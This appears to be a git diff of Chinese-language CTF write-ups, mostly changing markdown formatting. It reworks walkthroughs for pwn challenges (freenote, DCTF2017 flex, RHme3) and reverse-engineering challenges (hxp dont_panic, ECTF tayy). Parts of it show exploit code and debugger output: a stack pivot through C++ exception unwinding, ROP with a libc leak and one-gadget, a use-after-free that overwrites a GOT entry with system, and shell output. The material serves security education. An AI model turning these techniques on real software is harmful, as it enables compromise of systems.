python exp.py + +```text +$ python exp.py [+] Starting local process './freenote': pid 30146 [*] heap base: 0x23b5000 [*] libc base: 0x7efc6903e000 @@ -1043,8 +1113,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python from pwn import * @@ -1133,6 +1205,6 @@ if __name__ == "__main__": pwn() ``` - ## 参考资料 -[0CTF 2015 Quals CTF: freenote](https://github.com/ctfs/write-ups-2015/tree/master/0ctf-2015/exploit/freenote) + +- [0CTF 2015 Quals CTF: freenote](https://github.com/ctfs/write-ups-2015/tree/master/0ctf-2015/exploit/freenote) diff --git a/doc/6.1.8_pwn_dctf2017_flex.md b/doc/6.1.8_pwn_dctf2017_flex.md index 6b13a41..e8ec52e 100644 --- a/doc/6.1.8_pwn_dctf2017_flex.md +++ b/doc/6.1.8_pwn_dctf2017_flex.md @@ -6,22 +6,24 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.8_pwn_dctf2017_flex) ## 题目复现 -``` -$ file flex + +```text +$ file flex flex: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=30a1acbc98ccf9e8f4b3d1fc06b6ba6f0cbe7c9e, stripped -$ checksec -f flex +$ checksec -f flex RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 flex ``` + 可以看到开启了 Canary,本题的关键就是利用某种神秘机制(C++异常处理机制)绕过它。 随便玩一下,了解程序的基本功能: -``` -$ ./flex + +```text +$ ./flex 1.start flexmd5 2.start flexsha256 3.start flexsha1 @@ -41,15 +43,17 @@ a bruteforce message pattern: aaaa ``` + 把程序跑起来: -``` + +```text $ socat tcp4-listen:10001,reuseaddr,fork exec:./flex & ``` - ## C++ 异常处理机制 -``` -$ ldd flex + +```text +$ ldd flex linux-vdso.so.1 (0x00007ffcd837a000) libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x00007f748fe72000) libgcc_s.so.1 => /usr/lib/libgcc_s.so.1 (0x00007f748fc5b000) @@ -57,9 +61,11 @@ $ ldd flex libm.so.6 => /usr/lib/libm.so.6 (0x00007f748f557000) /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f74901f9000) ``` + 所以这个程序是一个 C 和 C++ 混合编译的,以便处理异常。 当用户 throw 一个异常时,编译器会帮我们调用相应的函数分配 `_cxa_exception` 就是头部,`exception_obj`。异常对象由函数 `__cxa_allocate_exception()` 进行创建,最后由 `__cxa_free_exception()` 进行销毁。当我们在程序里执行了抛出异常后,编译器做了如下的事情: + 1. 调用 `__cxa_allocate_exception` 函数,分配一个异常对象 2. 调用 `__cxa_throw` 函数,这个函数会将异常对象做一些初始化 3. `__cxa_throw()` 调用 Itanium ABI 里的 `_Unwind_RaiseException()` 从而开始 unwind,unwind 分为两个阶段,分别进行搜索 catch 及清理调用栈 @@ -70,10 +76,11 @@ $ ldd flex 具体内容查看参考资料。 - ## 题目解析 + 程序的第四个选项很吸引人,但似乎没有发现什么突破点,而第一个选项可以输入的东西较多,问题应该在这里,查看该函数 `sub.bruteforcing_start:_500`: -``` + +```text [0x00400d80]> pdf @ sub.bruteforcing_start:_500 / (fcn) sub.bruteforcing_start:_500 63 | sub.bruteforcing_start:_500 (); @@ -113,9 +120,11 @@ $ ldd flex | `--> 0x0040155f c9 leave \ 0x00401560 c3 ret ; ret 到 payload_2 ``` + 函数 `sub.FlexMD5_bruteforce_tool_V0.1_148`: -``` -[0x00400d80]> pdf @ sub.FlexMD5_bruteforce_tool_V0.1_148 + +```text +[0x00400d80]> pdf @ sub.FlexMD5_bruteforce_tool_V0.1_148 / (fcn) sub.FlexMD5_bruteforce_tool_V0.1_148 613 | sub.FlexMD5_bruteforce_tool_V0.1_148 (); | ; var int local_124h @ rbp-0x124 @@ -261,8 +270,10 @@ $ ldd flex | 0x004013ab 5d pop rbp \ 0x004013ac c3 ret ``` + 函数 `sub.atoi_f45` 将字符串转换成长整型数: -``` + +```text [0x00400d80]> pdf @ sub.atoi_f45 / (fcn) sub.atoi_f45 74 | sub.atoi_f45 (); @@ -290,10 +301,12 @@ $ ldd flex | `-> 0x00400f8d c9 leave \ 0x00400f8e c3 ret ``` + 可以看到该函数并未对所输入的数字进行验证,所以我们可以输入负数,因为计算机中数字是以补码的形式存在,例如 `-2 = 0xfffffffffffffffe`。这个数字加 1 后,作为读入字符串个数的判定,因为个数不能为负,我们就可以开心地读入后面的 payload 了。 这个程序中读入操作使用函数 `sub.read_e76`,该函数内部有一个循环,每次读入一个字符,如果遇到换行符,则完成退出。 -``` + +```text [0x00400d80]> pdf @ sub.read_e76 / (fcn) sub.read_e76 168 | sub.read_e76 (); @@ -361,40 +374,50 @@ $ ldd flex 分析完了,接下来就写 exp 吧。 - ## 漏洞利用 -#### stack pivot + +### stack pivot + 在 `0x004012b4` 下断点,以检查溢出点: -``` + +```text gdb-peda$ x/s $rbp 0x7fffffffe3f0: "5A%KA%gA%6A%" gdb-peda$ pattern_offset 5A%KA%gA%6A% 5A%KA%gA%6A% found at offset: 288 ``` + 所以缓冲区的长度为 `288 / 8 = 36`。利用缓冲区溢出覆盖掉 rbp,在异常处理过程中,unwind 例程向上一级一级地找异常处理函数,然后恢复相关数据,这样就将栈转移到了新地址: + ```python # stack pivot payload_1 = "AAAAAAAA" * 36 payload_1 += p64(pivote_addr) payload_1 += p64(unwind_addr) ``` + unwind_addr 必须是调用函数里的一个地址,这样抛出的异常才能被调用函数内的异常处理函数 catch。 -#### get puts address +### get puts address + 异常处理函数结束后,执行下面两句: -``` + +```text | `--> 0x0040155f c9 leave \ 0x00401560 c3 ret ; ret 到 payload_2 ``` + 通常情况下我们构造 rop 调用 read() 读入 one-gadget 来获得 shell,但可用的 gadget 只能控制 rdi 和 rsi,而不能控制 rdx。所以必须通过函数 `sub.read_f1e` 来做到这一点。 -``` + +```text $ ropgadget --binary flex --only "pop|ret" ... 0x00000000004044d3 : pop rdi ; ret 0x00000000004044d1 : pop rsi ; pop r15 ; ret ``` -``` -[0x00400d80]> pdf @ sub.read_f1e + +```text +[0x00400d80]> pdf @ sub.read_f1e / (fcn) sub.read_f1e 39 | sub.read_f1e (); | ; var int local_10h @ rbp-0x10 @@ -413,7 +436,9 @@ $ ropgadget --binary flex --only "pop|ret" | 0x00400f43 c9 leave \ 0x00400f44 c3 ret ``` + 构造 paylode\_2 打印出 puts 的地址,并调用 `read_f1e` 读入 payload_3 到 `pivote_addr + 0x50` 的位置: + ```python # get puts address payload_2 = "AAAAAAAA" @@ -433,9 +458,11 @@ puts_addr = io.recvuntil("\n")[:-1].ljust(8,"\x00") puts_addr = u64(puts_addr) ``` -#### get shell +### get shell + 找到 libc 的 `do_system` 函数里的 one-gadget 地址为 `0x00041ee7`: -``` + +```text | 0x00041ee7 488b056aff36. mov rax, qword [0x003b1e58] ; [0x3b1e58:8]=0 | 0x00041eee 488d3d409313. lea rdi, str._bin_sh ; 0x17b235 ; "/bin/sh" | 0x00041ef5 c70521253700. mov dword [obj.lock_4], 0 ; [0x3b4420:4]=0 @@ -444,7 +471,9 @@ puts_addr = u64(puts_addr) | 0x00041f0e 488b10 mov rdx, qword [rax] | 0x00041f11 67e8c9260800 call sym.execve ``` + 通过泄露出的 puts 地址,计算符号偏移得到 one-gadget 地址,构造 payload_3: + ```python libc_base = puts_addr - libc.symbols['puts'] one_gadget = libc_base + 0x00041ee7 @@ -454,16 +483,19 @@ payload_3 = p64(one_gadget) ``` Bingo!!! -``` -$ python2 exp.py + +```text +$ python2 exp.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive mode $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python from pwn import * @@ -526,8 +558,8 @@ io.interactive() 最后建议读者自己多调试几遍,以加深对异常处理机制的理解。 - ## 参考资料 + - [Shanghai-DCTF-2017 线下攻防Pwn题](https://www.anquanke.com/post/id/89855) - [c++ 异常处理(1)](https://www.cnblogs.com/catch/p/3604516.html) - [C++异常机制的实现方式和开销分析](http://baiy.cn/doc/cpp/inside_exception.htm) diff --git a/doc/6.1.9_pwn_rhme3_exploitation.md b/doc/6.1.9_pwn_rhme3_exploitation.md index b9cf1be..6dd77f5 100644 --- a/doc/6.1.9_pwn_rhme3_exploitation.md +++ b/doc/6.1.9_pwn_rhme3_exploitation.md @@ -5,25 +5,28 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.9_pwn_rhme3_exploitation) ## 题目复现 + 这个题目给出了二进制文件和 libc。 -``` -$ file main.bin + +```text +$ file main.bin main.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ec9db5ec0b8ad99b3b9b1b3b57e5536d1c615c8e, not stripped -$ checksec -f main.bin +$ checksec -f main.bin RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 10 main.bin -$ strings libc-2.23.so | grep "GNU C" +$ strings libc-2.23.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. ``` + 64 位程序,保护措施除了 PIE 都开启了。 但其实这个程序并不能运行,它是一个线下赛的题目,会对做一些环境检查和处理,直接 nop 掉就好了: -``` + +```text | 0x004021ad bf18264000 mov edi, 0x402618 | 0x004021b2 e87ceeffff call sym.background_process | 0x004021b7 bf39050000 mov edi, 0x539 ; 1337 @@ -33,26 +36,30 @@ Compiled by GNU CC version 5.4.0 20160609. | 0x004021c7 89c7 mov edi, eax | 0x004021c9 e8c6f0ffff call sym.set_io ``` -``` + +```text $ python2 -c 'print "90"*33' > nop.txt ``` -``` + +```text [0x00400ec0]> s 0x004021ad -[0x004021ad]> cat ./nop.txt +[0x004021ad]> cat ./nop.txt 909090909090909090909090909090909090909090909090909090909090909090 [0x004021ad]> wxf ./nop.txt ``` 最后把它运行起来: -``` -socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc-2.23.so ./main.elf" & -``` +```text +$ socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc-2.23.so ./main.elf" & +``` ## 题目解析 + 玩一下,一看就是堆利用的题目: -``` -$ ./main.elf + +```text +$ ./main.elf Welcome to your TeamManager (TM)! 0.- Exit 1.- Add player @@ -63,10 +70,12 @@ Welcome to your TeamManager (TM)! 6.- Show team Your choice: ``` + 程序就是添加、删除、编辑和显示球员信息。但要注意的是在编辑和显示球员前,需要先选择球员,这一点很重要。 添加两个球员看看: -``` + +```text Your choice: 1 Found free slot: 0 Enter player name: aaaa @@ -89,8 +98,10 @@ Enter defense points: 6 Enter speed: 7 Enter precision: 8 ``` + 试着选中第一个球员,然后删除它: -``` + +```text Your choice: 3 Enter index: 0 Player selected! @@ -107,10 +118,12 @@ Your choice: 2 Enter index: 0 She's gone! ``` + 接下来直接显示该球员信息: -``` + +```text Your choice: 5 - Name: + Name: A/D/S/P: 29082240,0,3,4 0.- Exit 1.- Add player @@ -120,16 +133,18 @@ Your choice: 5 5.- Show player 6.- Show team Your choice: 6 -Your team: +Your team: Player 0 Name: bbbb A/D/S/P: 5,6,7,8 ``` + 奇怪的事情发生了,程序没有提醒我们球员不存在,而是直接读取了内存中的信息。 于是我们猜测,程序在 free 球员时没有将 select 的值置空,导致了 use-after-free 的问题。关于 UAF 已经在前面的章节中讲过了。 很明显,每个球员都是一个下面这样的结构体: + ```c struct player { int32_t attack_pts; @@ -140,10 +155,12 @@ struct player { } ``` -#### 静态分析 +### 静态分析 + 先来看一下添加球员的过程,函数 `sym.add_player`: -``` -[0x00400ec0]> pdf @ sym.add_player + +```text +[0x00400ec0]> pdf @ sym.add_player / (fcn) sym.add_player 789 | sym.add_player (); | ; var int local_11ch @ rbp-0x11c @@ -324,16 +341,20 @@ struct player { | `-> 0x00401b14 c9 leave \ 0x00401b15 c3 ret ``` + 该函数会做一些基本的检查,如球员最大数量等,然后开始添加球员的过程。根据我们的分析,`obj.players` 应该是一个全局数组,用于存放所有球员的地址。 -``` + +```text [0x00400ec0]> is~players vaddr=0x00603180 paddr=0x00003180 ord=090 fwd=NONE sz=88 bind=GLOBAL type=OBJECT name=players ``` + 当球员添加完成后,就将其结构体地址添加到这个数组中。球员的选择过程就是通过这个数组完成的。 下面是选择球员的过程,函数 `sym.select_player`: -``` -[0x00400ec0]> pdf @ sym.select_player + +```text +[0x00400ec0]> pdf @ sym.select_player / (fcn) sym.select_player 214 | sym.select_player (); | ; var int local_14h @ rbp-0x14 @@ -394,16 +415,20 @@ vaddr=0x00603180 paddr=0x00003180 ord=090 fwd=NONE sz=88 bind=GLOBAL type=OBJECT | `-> 0x00401cd9 c9 leave \ 0x00401cda c3 ret ``` + 对象 `obj.selected` 是一个全局变量,用于存放选择的球员编号。 -``` + +```text [0x00400ec0]> is~selected vaddr=0x00603170 paddr=0x00003170 ord=095 fwd=NONE sz=8 bind=GLOBAL type=OBJECT name=selected ``` + 选中球员之后,打印球员信息的操作就是通过从 `obj.selected` 中获取球员地址实现的。 下面是删除球员的过程,函数 `sym.delete_player`: -``` -[0x00400ec0]> pdf @ sym.delete_player + +```text +[0x00400ec0]> pdf @ sym.delete_player / (fcn) sym.delete_player 239 | sym.delete_player (); | ; var int local_1ch @ rbp-0x1c @@ -471,10 +496,12 @@ vaddr=0x00603170 paddr=0x00003170 ord=095 fwd=NONE sz=8 bind=GLOBAL type=OBJECT | `-> 0x00401c03 c9 leave \ 0x00401c04 c3 ret ``` + 该函数首先释放掉球员的名字,然后释放掉球员的结构体。却没有对 `obj.selected` 做任何修改,而该对象中存放的是选中球员的地址,这就存在一个逻辑漏洞,如果我们在释放球员之前选中该球员,则可以继续使用这个指针对内存进行操作,即 UAF 漏洞。 最后看一下显示球员信息的过程,函数 `sym.show_player`: -``` + +```text [0x00400ec0]> pdf @ sym.show_player / (fcn) sym.show_player 99 | sym.show_player (); @@ -508,12 +535,14 @@ vaddr=0x00603170 paddr=0x00003170 ord=095 fwd=NONE sz=8 bind=GLOBAL type=OBJECT | `-> 0x00402115 c9 leave \ 0x00402116 c3 ret ``` + 在该函数中,也未检查选中球员是否还存在,这就导致了信息泄露。 函数 `sym.edit_player` 可以调用函数 `sym.set_name` 修改 player name,但其也不会对 selected 的值做检查,配合上信息泄露,可以导致任意地址写。 -``` + +```text [0x00400ec0]> pdf @ sym.set_name -/ (fcn) sym.set_name 281 +/ (fcn) sym.set_name 281 | sym.set_name (); | ; var int local_128h @ rbp-0x128 | ; var int local_120h @ rbp-0x120 @@ -587,17 +616,19 @@ vaddr=0x00603170 paddr=0x00003170 ord=095 fwd=NONE sz=8 bind=GLOBAL type=OBJECT \ 0x00401df3 c3 ret ``` -#### 动态分析 +### 动态分析 + 漏洞大概清楚了,我们使用 gdb 动态调试一下,为了方便分析,先关闭 ASRL。gef 有个很强大的命令 `heap-analysis-helper`,可以追踪 `malloc()`、`free()`、`realloc()` 等函数的调用: -``` -gef➤ heap-analysis-helper + +```text +gef➤ heap-analysis-helper [*] This feature is under development, expect bugs and unstability... [+] Tracking malloc() [+] Tracking free() [+] Tracking realloc() [+] Disabling hardware watchpoints (this may increase the latency) [+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found. -[*] Note: The heap analysis slows down noticeably the execution. +[*] Note: The heap analysis slows down noticeably the execution. gef➤ c Continuing. Welcome to your TeamManager (TM)! @@ -608,7 +639,7 @@ Welcome to your TeamManager (TM)! 4.- Edit player 5.- Show player 6.- Show team -Your choice: 1 +Your choice: 1 Found free slot: 0 [+] Heap-Analysis - malloc(24)=0x604010 Enter player name: aaaa @@ -632,19 +663,23 @@ Enter index: 0 [+] Heap-Analysis - watching 0x604010 She's gone! ``` + 很好地验证了球员分配和删除的过程。 - ## 漏洞利用 -#### alloc and select + +### alloc and select + 然后是内存,根据我们对堆管理机制的理解,这里选择使用 small chunk(球员 name chunk): + ```python alloc('A' * 0x60) alloc('B' * 0x80) alloc('C' * 0x80) select(1) ``` -``` + +```text gef➤ x/4gx 0x603180 0x603180 : 0x0000000000604010 0x00000000006040a0 0x603190 : 0x0000000000604150 0x0000000000000000 @@ -684,16 +719,19 @@ gef➤ x/70gx 0x604010-0x10 0x604200: 0x0000000000000000 0x0000000000000000 0x604210: 0x0000000000000000 0x0000000000000000 0x604220: 0x0000000000000000 0x0000000000000000 -gef➤ p selected +gef➤ p selected $2 = 0x6040a0 ``` -#### free +### free + 然后: + ```python free(1) ``` -``` + +```text gef➤ x/4gx 0x603180 0x603180 : 0x0000000000604010 0x0000000000000000 <-- set zero 0x603190 : 0x0000000000604150 0x0000000000000000 @@ -733,27 +771,31 @@ gef➤ x/70gx 0x604010-0x10 0x604200: 0x0000000000000000 0x0000000000000000 0x604210: 0x0000000000000000 0x0000000000000000 0x604220: 0x0000000000000000 0x0000000000000000 -gef➤ p selected +gef➤ p selected $3 = 0x6040a0 gef➤ heap bins [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] ← Chunk(addr=0x6040a0, size=0x20, flags=PREV_INUSE) -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x6040b0, bk=0x6040b0 → Chunk(addr=0x6040c0, size=0x90, flags=PREV_INUSE) ``` + 我们知道,当一个 small chunk 被释放后,会被放到 unsorted bin 中,这是一个双向链表,它的 fd 指针指向了链表的头部,即地址 `0x00007ffff7dd1b78`。然后使用命令 `vmmap` 获得 libc 被加载的地址,用链表头部地址减掉它,得到偏移。当开启 ASLR 后,其地址会变,但偏移不变。同时,释放的 player 1 chunk 被加入到 fastbins 单链表中。 -``` + +```text [0x00400ec0]> ?v 0x00007ffff7dd1b78 - 0x00007ffff7a0d000 0x3c4b78 ``` 再次 free,将 player 2 释放,因为 player 1 也是被释放的状态,所以两个 chunk 会被合并(其实 player 是 fast chunk,不会被合并,真正合并的是 name chunk): + ```python free(2) ``` -``` + +```text gef➤ x/4gx 0x603180 0x603180 : 0x0000000000604010 0x0000000000000000 0x603190 : 0x0000000000000000 0x0000000000000000 @@ -793,23 +835,26 @@ gef➤ x/70gx 0x604010-0x10 0x604200: 0x0000000000000000 0x0000000000000000 0x604210: 0x0000000000000000 0x0000000000000000 0x604220: 0x0000000000000000 0x0000000000000000 -gef➤ p selected +gef➤ p selected $4 = 0x6040a0 -gef➤ heap bins fast +gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] ← Chunk(addr=0x604150, size=0x20, flags=) -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x604090, bk=0x604090 → Chunk(addr=0x6040a0, size=0xb0, flags=PREV_INUSE) ``` -#### alloc again +### alloc again + 添加一个球员,player chunk 将从 fastbins 链表中取出,而 name chunk 将从 unsorted_bin 中取出: + ```python alloc('D'*16 + p64(atoi_got)) ``` -``` + +```text gef➤ x/4gx 0x603180 0x603180 : 0x0000000000604010 0x0000000000604150 0x603190 : 0x0000000000000000 0x0000000000000000 @@ -849,16 +894,18 @@ gef➤ x/70gx 0x604010-0x10 0x604200: 0x0000000000000000 0x0000000000000000 0x604210: 0x0000000000000000 0x0000000000000000 0x604220: 0x0000000000000000 0x0000000000000000 -gef➤ p selected +gef➤ p selected $5 = 0x6040a0 -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x6040b0, bk=0x6040b0 → Chunk(addr=0x6040c0, size=0x90, flags=PREV_INUSE) ``` -#### edit and get shell +### edit and get shell + 编辑 selected 处的 chunck,即 name 3: + ```python # atoi@got -> system@got edit(p64(system)) @@ -867,19 +914,22 @@ edit(p64(system)) p.recvuntil('choice: ') p.sendline('sh') ``` + 函数 atoi@got 已经被我们覆盖为 system@got,当调用 atoi 时,实际上是执行了 system('sh'): -``` + +```text gef➤ p atoi $2 = {int (const char *)} 0x7ffff7a43e80 gef➤ x/gx 0x603110 -0x603110: 0x00007ffff7a52390 +0x603110: 0x00007ffff7a52390 ``` 到这里,我们可以重新启用 ASLR 了,该保护机制已经被绕过。 Bingo!!! -``` -$ python exp.py + +```text +$ python exp.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] leak => 0x7fcd41824b78 [*] libc => 0x7fcd41460000 @@ -889,8 +939,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python from pwn import * @@ -974,6 +1026,6 @@ p.sendline('sh') p.interactive() ``` - ## 参考资料 -https://ctftime.org/task/4528 + +- diff --git a/doc/6.2.1_re_xhpctf2017_dont_panic.md b/doc/6.2.1_re_xhpctf2017_dont_panic.md index 6c778e5..d358b0d 100644 --- a/doc/6.2.1_re_xhpctf2017_dont_panic.md +++ b/doc/6.2.1_re_xhpctf2017_dont_panic.md @@ -3,20 +3,23 @@ - [题目解析](#题目解析) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.2.1_re_xhpctf2017_dont_panic) ## 题目解析 + 第一步当然是 file 啦: -``` -$ file dont_panic + +```text +$ file dont_panic dont_panic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped ``` + 64 位,静态编译,而且 stripped。 看一下段吧: -``` -$ readelf -S dont_panic + +```text +$ readelf -S dont_panic There are 13 section headers, starting at offset 0xfa388: Section Headers: @@ -49,21 +52,26 @@ Section Headers: [12] .shstrtab STRTAB 0000000000000000 000fa310 0000000000000073 0000000000000000 0 0 1 ``` + 我们发现一些奇怪的东西,`.gosymtab`、`.gopclantab`,Google 一下才知道,它其实是一个用 Go 语言编写的程序。好吧,运行它: -``` -$ ./dont_panic + +```text +$ ./dont_panic usage: ./dont_panic flag $ ./dont_panic abcd Nope. ``` -``` + +```text $ xxd -g1 dont_panic | grep Nope. 000a5240: 3e 45 72 72 6e 6f 45 72 72 6f 72 4e 6f 70 65 2e >ErrnoErrorNope. -$ objdump -d dont_panic | grep a524b +$ objdump -d dont_panic | grep a524b 47ba23: 48 8d 05 21 98 02 00 lea 0x29821(%rip),%rax # 0x4a524b ``` + 字符串“Nope.”应该是判断错误时的输出,我们顺便找到了使用它的地址为 `0x47ba23`,接下来在去 r2 里看吧,经过一番搜索,找到了最重要的函数 `fcn.0047b8a0`: -``` + +```text [0x0047ba23]> pdf @ fcn.0047b8a0 / (fcn) fcn.0047b8a0 947 | fcn.0047b8a0 (); @@ -248,7 +256,9 @@ $ objdump -d dont_panic | grep a524b | `--> 0x0047bc49 e872f3fcff call fcn.0044afc0 \ `=< 0x0047bc4e e94dfcffff jmp fcn.0047b8a0 ``` + 根据我们的分析(详见注释),密码判断逻辑应该如下: + ```C for (int i=0; i #include @@ -331,16 +342,20 @@ int main(int argc, char * argv[]) return 0; } ``` + 主要是修改了两个地方: + ```C // This function is called before every instruction is executed VOID docount(void *ip) { if ((long int)ip == 0x0047b96e) icount++; // 0x0047b960: compare mapanic(provided_flag[i]) with constant_binary_blob[i] } ``` + 该函数会在每条指令执行之前被调用,判断是否是我们需要的 `0x0047b96e` 地址处的指令。 然后由于函数 docount 需要一个参数,所以 Instruction 函数也要修改,加入指令的地址 `IARG_INST_PTR`: + ```C // Pin calls this function every time a new instruction is encountered VOID Instruction(INS ins, VOID *v) @@ -351,16 +366,19 @@ VOID Instruction(INS ins, VOID *v) ``` 好,接下来 make 并执行。其实我们是知道 flag 结构的,”hxp{...}“ ,总共 42 个字节。 -``` + +```text $ cp dont_panic.cpp source/tools/MyPintool [MyPinTool]$ make obj-intel64/dont_panic.so TARGET=intel64 [MyPinTool]$ ../../../pin -t obj-intel64/dont_panic.so -o inscount.out -- ~/dont_panic "hxp{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}" ; cat inscount.out Nope. Count 5 ``` + 注意,这里的 5 是执行次数,匹配正确的个数是 5-1=4,即 "hxp{"。但是最后一次是例外,因为完全匹配成功后直接跳转返回,不会再进行匹配。 和预期结果一样,下面写个脚本来自动化这一过程: + ```Python import os @@ -384,16 +402,20 @@ while count != 42: break print("".join(flag)) ``` + 可惜就是速度有点慢,大概跑了一个小时吧。。。 -``` + +```text hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_i5_S4F3} ``` -``` + +```text $ ./dont_panic "hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_i5_S4F3}" Seems like you got a flag... ``` 参考资料里的 gdb 脚本就快得多: + ```Python import gdb @@ -425,8 +447,8 @@ print("".join(flag)) 在最后一篇参考资料里,介绍了怎样还原 Go 二进制文件的函数名,这将大大简化我们的分析。 - ## 参考资料 + - [Pin Tutorial](http://www.ic.unicamp.br/~rodolfo/mo801/04-PinTutorial.pdf) - [Reversing GO binaries like a pro](https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/) - [HXP CTF 2017 - "dont_panic" Reversing 100 Writeup](http://rce4fun.blogspot.com/2017/11/hxp-ctf-2017-dontpanic-reversing-100.html) diff --git a/doc/6.2.2_re_ectf2016_tayy.md b/doc/6.2.2_re_ectf2016_tayy.md index 1831873..947f0d3 100644 --- a/doc/6.2.2_re_ectf2016_tayy.md +++ b/doc/6.2.2_re_ectf2016_tayy.md @@ -3,20 +3,22 @@ - [题目解析](#题目解析) - [参考资料](#参考资料) - 章节 5.8.1 中讲解了 Z3 约束求解器的基本使用方法,通过这一题,我们可以更进一步地熟悉它。 [下载文件](../src/writeup/6.2.2_re_ectf2016_tayy) ## 题目解析 -``` + +```text Tayy is the future of AI. She is a next level chatbot developed by pro h4ckers at NIA Labs. But Tayy hides a flag. Can you convince her to give it you? ``` -``` + +```text $ file tayy tayy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1fcd1c49eae4807f77d51227a3b457d8874170b4, not stripped ``` -``` + +```text $ ./tayy ============================================================= Welcome to the future of AI, developed by NIA Research, Tayy! @@ -53,30 +55,33 @@ Tayy: Die, human! Flag: EFZO�*$IX@2hv<�D[KTFPR`XO=l{�jII-z ============================================================= ``` + 玩了一会儿我们发现: + 1. 每次我们与 Tayy 交谈后,flag 就会变 2. 最多可以交谈 8 次,然后程序退出 通过调试,我们首先发现了 flag 的初始值: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] -RAX: 0x0 -RBX: 0x0 -RCX: 0x0 -RDX: 0x7ffff7dd4710 --> 0x0 -RSI: 0x7fffffffe460 --> 0x231819834c584545 +RAX: 0x0 +RBX: 0x0 +RCX: 0x0 +RDX: 0x7ffff7dd4710 --> 0x0 +RSI: 0x7fffffffe460 --> 0x231819834c584545 RDI: 0x400d2c ("Flag: %s\n") RBP: 0x7fffffffe490 --> 0x400a70 (<__libc_csu_init>: push r15) -RSP: 0x7fffffffe450 --> 0x2 +RSP: 0x7fffffffe450 --> 0x2 RIP: 0x4009e5 (: call 0x4005c0 ) -R8 : 0x7fffffffdf11 --> 0x3f00007ffff7ff00 +R8 : 0x7fffffffdf11 --> 0x3f00007ffff7ff00 R9 : 0xa ('\n') -R10: 0x0 +R10: 0x0 R11: 0xa ('\n') R12: 0x400630 (<_start>: xor ebp,ebp) -R13: 0x7fffffffe570 --> 0x1 -R14: 0x0 +R13: 0x7fffffffe570 --> 0x1 +R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] @@ -90,16 +95,16 @@ EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) 0x4009f6 : mov eax,DWORD PTR [rip+0x201688] # 0x602084 Guessed arguments: arg[0]: 0x400d2c ("Flag: %s\n") -arg[1]: 0x7fffffffe460 --> 0x231819834c584545 +arg[1]: 0x7fffffffe460 --> 0x231819834c584545 [------------------------------------stack-------------------------------------] -0000| 0x7fffffffe450 --> 0x2 -0008| 0x7fffffffe458 --> 0x7fffffffe460 --> 0x231819834c584545 -0016| 0x7fffffffe460 --> 0x231819834c584545 -0024| 0x7fffffffe468 --> 0x67035b26354e401c +0000| 0x7fffffffe450 --> 0x2 +0008| 0x7fffffffe458 --> 0x7fffffffe460 --> 0x231819834c584545 +0016| 0x7fffffffe460 --> 0x231819834c584545 +0024| 0x7fffffffe468 --> 0x67035b26354e401c 0032| 0x7fffffffe470 (",q2H7?09:G>4!O]iJ('\nV") 0040| 0x7fffffffe478 (":G>4!O]iJ('\nV") 0048| 0x7fffffffe480 --> 0x560a27284a ("J('\nV") -0056| 0x7fffffffe488 --> 0x74941753df1a500 +0056| 0x7fffffffe488 --> 0x74941753df1a500 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00000000004009e5 in main () @@ -114,8 +119,9 @@ gdb-peda$ x/37x 0x7fffffffe460 ``` 然后是一个有趣的函数 `giff_flag`,它在每次交谈是被调用,作用是修改 flag。 -``` -[0x00400630]> pdf @ sym.giff_flag + +```text +[0x00400630]> pdf @ sym.giff_flag / (fcn) sym.giff_flag 264 | sym.giff_flag (); | ; var int local_1ch @ rbp-0x1c @@ -221,7 +227,9 @@ gdb-peda$ x/37x 0x7fffffffe460 | 0x004008bf 5d pop rbp \ 0x004008c0 c3 ret ``` + 